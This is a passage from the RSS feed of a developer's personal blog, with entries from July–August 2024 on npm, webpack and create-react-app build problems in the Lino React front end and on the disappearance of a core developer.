&lt;span class="s2"&gt;&amp;quot;@babel/plugin-proposal-private-property-in-object&amp;quot;&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;already&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;your&lt;/span&gt;
&lt;span class="n"&gt;node_modules&lt;/span&gt; &lt;span class="n"&gt;folder&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;unrelated&lt;/span&gt; &lt;span class="n"&gt;reasons&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;but&lt;/span&gt; &lt;span class="n"&gt;it&lt;/span&gt; &lt;span class="n"&gt;may&lt;/span&gt; &lt;span class="k"&gt;break&lt;/span&gt; &lt;span class="n"&gt;at&lt;/span&gt; &lt;span class="nb"&gt;any&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;

&lt;span class="n"&gt;babel&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;preset&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;react&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;app&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;part&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;create&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;react&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;app&lt;/span&gt; &lt;span class="n"&gt;project&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;which&lt;/span&gt;
&lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;maintianed&lt;/span&gt; &lt;span class="n"&gt;anymore&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;It&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;thus&lt;/span&gt; &lt;span class="n"&gt;unlikely&lt;/span&gt; &lt;span class="n"&gt;that&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt; &lt;span class="n"&gt;bug&lt;/span&gt; &lt;span class="n"&gt;will&lt;/span&gt;
&lt;span class="n"&gt;ever&lt;/span&gt; &lt;span class="n"&gt;be&lt;/span&gt; &lt;span class="n"&gt;fixed&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;Add&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;@babel/plugin-proposal-private-property-in-object&amp;quot;&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt;
&lt;span class="n"&gt;your&lt;/span&gt; &lt;span class="n"&gt;devDependencies&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;work&lt;/span&gt; &lt;span class="n"&gt;around&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt; &lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;This&lt;/span&gt; &lt;span class="n"&gt;will&lt;/span&gt; &lt;span class="n"&gt;make&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt; &lt;span class="n"&gt;message&lt;/span&gt;
&lt;span class="n"&gt;go&lt;/span&gt; &lt;span class="n"&gt;away&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;create-react-app&lt;/span&gt;&lt;/code&gt; project is not maintained any more?! That sounds
strange! Maybe the freecodecamp.org tutorial is obsolete? But also the
“official” &lt;a class="reference external" href="https://create-react-app.dev/docs/getting-started"&gt;Getting Started&lt;/a&gt; page recommends the same
steps.&lt;/p&gt;
&lt;p&gt;The &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;create-react-app&lt;/span&gt;&lt;/code&gt; project is
&lt;a class="reference external" href="https://github.com/facebook/create-react-app"&gt;hosted on GitHub&lt;/a&gt;, so
I started to file an issue.
It asks me what type of issue: a bug report.&lt;/p&gt;
&lt;p&gt;The issue template recommends to do:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ sudo npm install -g npm@latest
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Maybe this is the source of all my problems! I ran it, and it said:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;changed 13 packages in 3s
22 packages are looking for funding
run `npm fund` for details
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;But the issue remained the same.&lt;/p&gt;
&lt;p&gt;So today I submitted my first issue to the facebook group on GitHub:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;&lt;a class="reference external" href="https://github.com/facebook/create-react-app/issues/13643"&gt;https://github.com/facebook/create-react-app/issues/13643&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;I ran &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;npm&lt;/span&gt; &lt;span class="pre"&gt;uninstall&lt;/span&gt; &lt;span class="pre"&gt;-g&lt;/span&gt; &lt;span class="pre"&gt;html-webpack-plugin&lt;/span&gt; &lt;span class="pre"&gt;n&lt;/span&gt; &lt;span class="pre"&gt;react-dom&lt;/span&gt; &lt;span class="pre"&gt;typedoc&lt;/span&gt;&lt;/code&gt; to remove
everything except corepack and npm from my global environment:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ npm ls -g
/usr/local/lib
├── corepack@0.28.1
└── npm@10.8.2
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;TODO: The second warning above (“babel-preset-react-app is part of the
create-react-app project, which is not maintianed anymore….”) seems to be a
false alert. That might become my second issue. Furthermore it contains a type
“maintianed” instead of “maintained”.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/0807.html</guid><pubDate>Wed, 07 Aug 2024 00:00:00 +0000</pubDate></item><item><title>Tuesday, August 6, 2024</title><link>https://luc.lino-framework.org/blog/2024/0806.html</link><description>&lt;section id="tuesday-august-6-2024"&gt;
&lt;h1&gt;Tuesday, August 6, 2024&lt;a class="headerlink" href="#tuesday-august-6-2024" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Continued from &lt;a class="reference internal" href="0805.html"&gt;&lt;span class="doc"&gt;Monday, August 5, 2024&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I started to read introductions to Webpack: &lt;a class="reference external" href="https://webpack.js.org/guides/getting-started/"&gt;Getting Started&lt;/a&gt; and  &lt;a class="reference external" href="https://webpack.js.org/concepts"&gt;Core Concepts&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I also continued to update &lt;a class="reference external" href="https://react.lino-framework.org/guide/npm.html#react-npm" title="(in Lino React)"&gt;&lt;span&gt;Introduction to npm, npx, NodeJS and React&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Ha! I’m unlocked after two weeks of feeling stuck! Tonis donated half an hour of
his spare time and had a look with me at my problem. Not even a video meeting,
just a text chat. And he found the missing piece!&lt;/p&gt;
&lt;p&gt;The missing piece was this: We can assume that these error messages are actually
not relevant, at least not immediately, they don’t prevent the build from
happening, they are experimental and Sharif probably also had them. I believed
that they prevented the build from happening because &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;npm&lt;/span&gt; &lt;span class="pre"&gt;run&lt;/span&gt; &lt;span class="pre"&gt;build&lt;/span&gt;&lt;/code&gt; didn’t
create any static files. But &lt;em&gt;that&lt;/em&gt; is normal because there is no actual change
in the source code. After adding a “foo bar” string somewhere in the toolbar,
&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;npm&lt;/span&gt; &lt;span class="pre"&gt;run&lt;/span&gt; &lt;span class="pre"&gt;build&lt;/span&gt;&lt;/code&gt; did create a whole series of files in the
&lt;a class="reference external" href="https://react.lino-framework.org/guide/build.html#xfile-lino_react-react-static" title="(in Lino React)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_react/react/static&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; directory.&lt;/p&gt;
&lt;p&gt;Okay I’m unlocked, but I still have quite a few things to learn before I’ll get
productive :-)&lt;/p&gt;
&lt;p&gt;Q: When Sharif did his last change &lt;a class="reference external" href="https://gitlab.com/lino-framework/react/-/commit/d618c990d34aa30cfe3454309abc2b778badb43e"&gt;on June 16&lt;/a&gt;,
there were 6 static files changed. Why do I now have, in my
&lt;a class="reference external" href="https://react.lino-framework.org/guide/build.html#xfile-lino_react-react-static" title="(in Lino React)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_react/react/static&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;, 41 untracked files named &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;main.*.js&lt;/span&gt;&lt;/code&gt;
plus a &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;.js.map&lt;/span&gt;&lt;/code&gt; for each of them?&lt;/p&gt;
&lt;p&gt;A: That’s because I ran “npm audit fix –force”, to “address all issues
(including breaking changes)”, which updated a series of packages.&lt;/p&gt;
&lt;p&gt;Q: I tried to verify this answer by going back to the current GitLab version,
adding again that “foo bar” string somewhere in the toolbar, run &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;npm&lt;/span&gt; &lt;span class="pre"&gt;run&lt;/span&gt;
&lt;span class="pre"&gt;build&lt;/span&gt;&lt;/code&gt;. I should see a few files changes. But nothing changes. Why?&lt;/p&gt;
&lt;p&gt;A: Maybe because the audit report has critical issues, it says “12
vulnerabilities (2 moderate, 4 high, 6 critical)”.&lt;/p&gt;
&lt;p&gt;So I ran &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;npm&lt;/span&gt; &lt;span class="pre"&gt;audit&lt;/span&gt; &lt;span class="pre"&gt;fix&lt;/span&gt; &lt;span class="pre"&gt;--force&lt;/span&gt;&lt;/code&gt; again:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ npm audit fix --force
npm warn using --force Recommended protections disabled.
npm warn audit Updating quill to 2.0.2, which is a SemVer major change.
npm warn audit Updating webpack-typescript to 0.5.5, which is a SemVer major change.
npm warn audit Updating quill-mention to 6.0.1, which is a SemVer major change.
npm warn audit Updating babel-plugin-transform-class-properties to 6.10.2, which is a SemVer major change.
npm warn audit Updating puppeteer to 22.15.0, which is a SemVer major change.

added 8 packages, removed 31 packages, changed 15 packages, and audited 1684 packages in 4m

208 packages are looking for funding
  run `npm fund` for details

found 0 vulnerabilities
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And now &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;npm&lt;/span&gt; &lt;span class="pre"&gt;run&lt;/span&gt; &lt;span class="pre"&gt;build&lt;/span&gt;&lt;/code&gt; should build again those 41 static &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;.js&lt;/span&gt;&lt;/code&gt;
files.&lt;/p&gt;
&lt;p&gt;But it doesn’t! WTF!? I restored the same situation as two hours ago! Why did it
stop working?&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/0806.html</guid><pubDate>Tue, 06 Aug 2024 00:00:00 +0000</pubDate></item><item><title>Monday, August 5, 2024</title><link>https://luc.lino-framework.org/blog/2024/0805.html</link><description>&lt;section id="monday-august-5-2024"&gt;
&lt;h1&gt;Monday, August 5, 2024&lt;a class="headerlink" href="#monday-august-5-2024" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Having no news from Sharif (see &lt;a class="reference internal" href="0802.html"&gt;&lt;span class="doc"&gt;Sharif, where are you?&lt;/span&gt;&lt;/a&gt;) is a good reason for me to
seriously dive into React, npm, webpack, jest and all these tools.&lt;/p&gt;
&lt;p&gt;I still didn’t get &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;npm&lt;/span&gt; &lt;span class="pre"&gt;run&lt;/span&gt; &lt;span class="pre"&gt;build&lt;/span&gt;&lt;/code&gt; to execute (see &lt;a class="reference internal" href="0729.html"&gt;&lt;span class="doc"&gt;Monday, July 29, 2024&lt;/span&gt;&lt;/a&gt;), so I tried
to grasp the problem from the roots: I read a series of basic introductions to
React and JSX:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://react.dev/learn"&gt;Learn React &amp;gt; Quick Start&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://react.dev/learn/writing-markup-with-jsx"&gt;Writing Markup with JSX&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://react.dev/learn/javascript-in-jsx-with-curly-braces"&gt;JavaScript in JSX with Curly Braces&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The &lt;a class="reference external" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/export"&gt;export&lt;/a&gt; declaration.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://javascript.info/import-export"&gt;Export and Import&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;What I don’t understand: How does a browser “know” whether a script is written
in JSX and not in plain JavaScript?&lt;/p&gt;
&lt;p&gt;The story continues on &lt;a class="reference internal" href="0806.html"&gt;&lt;span class="doc"&gt;Tuesday, August 6, 2024&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/0805.html</guid><pubDate>Mon, 05 Aug 2024 00:00:00 +0000</pubDate></item><item><title>Sharif, where are you?</title><link>https://luc.lino-framework.org/blog/2024/0802.html</link><description>&lt;section id="sharif-where-are-you"&gt;
&lt;h1&gt;Sharif, where are you?&lt;a class="headerlink" href="#sharif-where-are-you" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Friday, August 2, 2024&lt;/p&gt;
&lt;p&gt;The Lino community is currently worried about &lt;a class="reference external" href="https://www.saffre-rumma.net/team/sharif/#sharif" title="(in Saffre-Rumma)"&gt;&lt;span class="xref std std-ref"&gt;Sharif&lt;/span&gt;&lt;/a&gt;, who has
been our second &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-core-developer" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;core developer&lt;/span&gt;&lt;/a&gt; since February 2021, for more than 3.5
years.&lt;/p&gt;
&lt;p&gt;On Friday 2024-06-28 he left his home by motorcycle to visit a friend, and since
then his cell phone is switched off. His family filed a missing person report at
the police.&lt;/p&gt;
&lt;p&gt;We hope that he had just a psychological crisis and decided to
escape from everyday life. He is indeed an introvert person with tendencies to
melancholy. It seems that people have seen him in Dhaka (the capital, quite far
away from his home) and since then his family are angry with him because
disappearing without explanations is obviously not a nice behaviour.&lt;/p&gt;
&lt;p&gt;I have no contact with him. I know about all this only from chats with his wife,
his sister and some friends. The last times he registered work sessions in Jane
was 2024-06-22 (0:30 hours), 2024-06-21 (0:30 h) and 2024-06-16 (3:30 h).&lt;/p&gt;
&lt;p&gt;I am pretty sure that Sharif’s disappearing has nothing to do with the political
tensions in Bangladesh (see the news, e.g. &lt;a class="reference external" href="https://abcnews.go.com/International/wireStory/bangladesh-bans-jamaat-islami-party-violent-protests-left-112468645"&gt;Bangladesh bans Jamaat-e-Islami
party following violent protests that left more than 200 dead&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Q: Are you having any problem without Sharif? Who does his work now?&lt;/p&gt;
&lt;p&gt;A: Oh yes I am having problems without him! He was the main responsible for
developing the &lt;a class="reference external" href="https://react.lino-framework.org/"&gt;Lino React front end&lt;/a&gt;,
which is written in JavaScript, which is quite different from Python. I was glad
to delegate this task to him. And now I need to dive into things like &lt;cite&gt;Node.js&lt;/cite&gt;,
&lt;cite&gt;npm&lt;/cite&gt; or &lt;cite&gt;webpack&lt;/cite&gt;. Fortunately there is no critical issue to fix, so I can take
it calmly.  My biggest problem is psychological: I am still under shock,
mentally paralyzed. This story shakes my visions about &lt;a class="reference external" href="https://www.synodalsoft.net/jobs/wg/"&gt;remote asynchronous
teamwork&lt;/a&gt;. There are moments where I am
tempted to give up. But I won’t do that because Lino is my life’s work.&lt;/p&gt;
&lt;p&gt;Q: Will he be able to work in your company again if he comes back after a long
time?&lt;/p&gt;
&lt;p&gt;A: Depends on &lt;em&gt;how&lt;/em&gt; long.  Right now it would still be possible.  He owes us
more than 5 weeks of work. So if he reappears, he will have to work some time
before we pay him new money! I don’t plan to engage anybody else. But of course
I don’t know the future.&lt;/p&gt;
&lt;p&gt;If he comes back, we will learn from this and find rules to ensure a minimum of
discipline. It is important that paid workers get enough pressure to work the
agreed number of hours per week.&lt;/p&gt;
&lt;p&gt;Let’s hope that he will soon reappear and give explanations, that his wife can
forgive him and that this whole story turns out as an unpleasant adventure with
a good end, Inshallah.&lt;/p&gt;
&lt;p&gt;P.S.: See &lt;a class="reference internal" href="../2025/0103.html"&gt;&lt;span class="doc"&gt;Sharif is back&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/0802.html</guid><pubDate>Fri, 02 Aug 2024 00:00:00 +0000</pubDate></item><item><title>Monday, July 29, 2024</title><link>https://luc.lino-framework.org/blog/2024/0729.html</link><description>&lt;section id="monday-july-29-2024"&gt;
&lt;h1&gt;Monday, July 29, 2024&lt;a class="headerlink" href="#monday-july-29-2024" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Continued from &lt;a class="reference internal" href="0720.html"&gt;&lt;span class="doc"&gt;Saturday, July 20, 2024&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Here is my current output of &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;npm&lt;/span&gt; &lt;span class="pre"&gt;run&lt;/span&gt; &lt;span class="pre"&gt;build&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ npm run build

&amp;gt; lino_react@24.5.0 build
&amp;gt; NODE_OPTIONS=&amp;#39;--max-old-space-size=8192&amp;#39; webpack --mode production

assets by status 3.81 MiB [cached] 51 assets
Entrypoint main = main.runtime.c483990e94f9f59f6c76.js main.2454e643ddf1a330e98b.js 2 auxiliary assets
orphan modules 1.24 MiB [orphan] 715 modules
runtime modules 12.2 KiB 14 modules
cacheable modules 5.02 MiB (javascript) 241 KiB (asset)
  modules by path ./node_modules/ 4.53 MiB (javascript) 241 KiB (asset)
    javascript modules 4.53 MiB 221 modules
    asset modules 210 bytes (javascript) 241 KiB (asset)
      ./node_modules/primeicons/fonts/primeicons.eot 42 bytes (javascript) 70.7 KiB (asset) [built] [code generated]
      ./node_modules/primeicons/fonts/primeicons.woff2 42 bytes (javascript) 29.5 KiB (asset) [built] [code generated]
      + 3 modules
  modules by path ./lino_react/react/ 494 KiB 38 modules
  modules by mime type image/png 357 bytes
    data:image/png;base64,iVBORw0KGgoAAAAN.. 179 bytes [built] [code generated]
    data:image/png;base64,iVBORw0KGgoAAAAN.. 178 bytes [built] [code generated]

LOG from InjectManifest
&amp;lt;i&amp;gt; The service worker at ../../config/react/service-worker.js will precache
&amp;lt;i&amp;gt;         0 URLs, totaling 0 B.

ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts
7:7-17
[tsl] ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts(7,8)
      TS2339: Property &amp;#39;SERVER_URL&amp;#39; does not exist on type &amp;#39;Global &amp;amp; typeof globalThis&amp;#39;.

ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts
8:7-19
[tsl] ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts(8,8)
      TS2339: Property &amp;#39;WAIT_TIMEOUT&amp;#39; does not exist on type &amp;#39;Global &amp;amp; typeof globalThis&amp;#39;.

ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts
10:7-17
[tsl] ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts(10,8)
      TS2339: Property &amp;#39;waitToMeet&amp;#39; does not exist on type &amp;#39;Global &amp;amp; typeof globalThis&amp;#39;.

ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts
12:44-56
[tsl] ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts(12,45)
      TS2339: Property &amp;#39;WAIT_TIMEOUT&amp;#39; does not exist on type &amp;#39;Global &amp;amp; typeof globalThis&amp;#39;.

ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts
21:7-11
[tsl] ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts(21,8)
      TS2339: Property &amp;#39;wait&amp;#39; does not exist on type &amp;#39;Global &amp;amp; typeof globalThis&amp;#39;.

ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts
23:21-31
[tsl] ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts(23,22)
      TS2339: Property &amp;#39;waitToMeet&amp;#39; does not exist on type &amp;#39;Global &amp;amp; typeof globalThis&amp;#39;.

ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts
29:21-25
[tsl] ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts(29,22)
      TS2339: Property &amp;#39;wait&amp;#39; does not exist on type &amp;#39;Global &amp;amp; typeof globalThis&amp;#39;.

ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts
30:21-31
[tsl] ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts(30,22)
      TS2339: Property &amp;#39;waitToMeet&amp;#39; does not exist on type &amp;#39;Global &amp;amp; typeof globalThis&amp;#39;.

ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts
35:7-13
[tsl] ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts(35,8)
      TS2339: Property &amp;#39;signIn&amp;#39; does not exist on type &amp;#39;Global &amp;amp; typeof globalThis&amp;#39;.

ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts
36:17-21
[tsl] ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts(36,18)
      TS2339: Property &amp;#39;wait&amp;#39; does not exist on type &amp;#39;Global &amp;amp; typeof globalThis&amp;#39;.

ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts
38:17-27
[tsl] ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts(38,18)
      TS2339: Property &amp;#39;waitToMeet&amp;#39; does not exist on type &amp;#39;Global &amp;amp; typeof globalThis&amp;#39;.

ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts
54:17-27
[tsl] ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts(54,18)
      TS2339: Property &amp;#39;waitToMeet&amp;#39; does not exist on type &amp;#39;Global &amp;amp; typeof globalThis&amp;#39;.

ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts
61:17-21
[tsl] ERROR in /home/luc/work/react/lino_react/react/components/setupTests.ts(61,18)
      TS2339: Property &amp;#39;wait&amp;#39; does not exist on type &amp;#39;Global &amp;amp; typeof globalThis&amp;#39;.

ERROR in /home/luc/work/react/lino_react/react/components/__tests__/cloneUI.ts
9:42-50
[tsl] ERROR in /home/luc/work/react/lino_react/react/components/__tests__/cloneUI.ts(9,43)
      TS2322: Type &amp;#39;&amp;quot;new&amp;quot;&amp;#39; is not assignable to type &amp;#39;boolean | &amp;quot;shell&amp;quot;&amp;#39;.

ERROR in /home/luc/work/react/lino_react/react/components/__tests__/cloneUI.ts
14:31-41
[tsl] ERROR in /home/luc/work/react/lino_react/react/components/__tests__/cloneUI.ts(14,32)
      TS2339: Property &amp;#39;SERVER_URL&amp;#39; does not exist on type &amp;#39;Global &amp;amp; typeof globalThis&amp;#39;.

ERROR in /home/luc/work/react/lino_react/react/components/__tests__/cloneUI.ts
15:21-27
[tsl] ERROR in /home/luc/work/react/lino_react/react/components/__tests__/cloneUI.ts(15,22)
      TS2339: Property &amp;#39;signIn&amp;#39; does not exist on type &amp;#39;Global &amp;amp; typeof globalThis&amp;#39;.

ERROR in /home/luc/work/react/lino_react/react/components/__tests__/cloneUI.ts
19:21-25
[tsl] ERROR in /home/luc/work/react/lino_react/react/components/__tests__/cloneUI.ts(19,22)
      TS2339: Property &amp;#39;wait&amp;#39; does not exist on type &amp;#39;Global &amp;amp; typeof globalThis&amp;#39;.

ERROR in /home/luc/work/react/lino_react/react/components/__tests__/cloneUI.ts
20:21-31
[tsl] ERROR in /home/luc/work/react/lino_react/react/components/__tests__/cloneUI.ts(20,22)
      TS2339: Property &amp;#39;waitToMeet&amp;#39; does not exist on type &amp;#39;Global &amp;amp; typeof globalThis&amp;#39;.

ERROR in /home/luc/work/react/lino_react/react/components/__tests__/cloneUI.ts
35:21-31
[tsl] ERROR in /home/luc/work/react/lino_react/react/components/__tests__/cloneUI.ts(35,22)
      TS2339: Property &amp;#39;waitToMeet&amp;#39; does not exist on type &amp;#39;Global &amp;amp; typeof globalThis&amp;#39;.

ERROR in /home/luc/work/react/lino_react/react/components/__tests__/integrity.ts
9:42-50
[tsl] ERROR in /home/luc/work/react/lino_react/react/components/__tests__/integrity.ts(9,43)
      TS2322: Type &amp;#39;&amp;quot;new&amp;quot;&amp;#39; is not assignable to type &amp;#39;boolean | &amp;quot;shell&amp;quot;&amp;#39;.

ERROR in /home/luc/work/react/lino_react/react/components/__tests__/integrity.ts
14:31-41
[tsl] ERROR in /home/luc/work/react/lino_react/react/components/__tests__/integrity.ts(14,32)
      TS2339: Property &amp;#39;SERVER_URL&amp;#39; does not exist on type &amp;#39;Global &amp;amp; typeof globalThis&amp;#39;.

ERROR in /home/luc/work/react/lino_react/react/components/__tests__/integrity.ts
18:31-41
[tsl] ERROR in /home/luc/work/react/lino_react/react/components/__tests__/integrity.ts(18,32)
      TS2339: Property &amp;#39;SERVER_URL&amp;#39; does not exist on type &amp;#39;Global &amp;amp; typeof globalThis&amp;#39;.

ERROR in /home/luc/work/react/lino_react/react/components/__tests__/integrity.ts
19:21-27
[tsl] ERROR in /home/luc/work/react/lino_react/react/components/__tests__/integrity.ts(19,22)
      TS2339: Property &amp;#39;signIn&amp;#39; does not exist on type &amp;#39;Global &amp;amp; typeof globalThis&amp;#39;.

23 errors have detailed information that is not shown.
Use &amp;#39;stats.errorDetails: true&amp;#39; resp. &amp;#39;--stats-error-details&amp;#39; to show it.

webpack 5.93.0 compiled with 23 errors in 15121 ms
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;It seems that I need to learn more about webpack and jest.&lt;/p&gt;
&lt;p&gt;The story continues on &lt;a class="reference internal" href="0805.html"&gt;&lt;span class="doc"&gt;Monday, August 5, 2024&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2024/0729.html</guid><pubDate>Mon, 29 Jul 2024 00:00:00 +0000</pubDate></item><item><title>Tuesday, July 23, 2024</title><link>https://luc.lino-framework.org/blog/2024/0723.html</link><description>&lt;section id="tuesday-july-23-2024"&gt;
&lt;h1&gt;Tuesday, July 23, 2024&lt;a class="headerlink" href="#tuesday-july-23-2024" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Jason Cook made yet another &lt;a class="reference external" href="https://github.com/lsaffre/sphinxfeed/pull/9"&gt;pull request for sphinxfeed&lt;/a&gt;, which I accepted.
Jason has obviously more experience with pytest than me.&lt;/p&gt;
&lt;p&gt;When I was exploring the &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;sphinx.testing.utils.SphinxTestApp&lt;/span&gt;&lt;/code&gt;, I stumbled
into the following comment:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;# see https://github.com/sphinx-doc/sphinx/pull/12089 for the&lt;/span&gt;
&lt;span class="c1"&gt;# discussion on how the signature of this class should be used&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I have a problem with this because it because it causes a part of the Sphinx
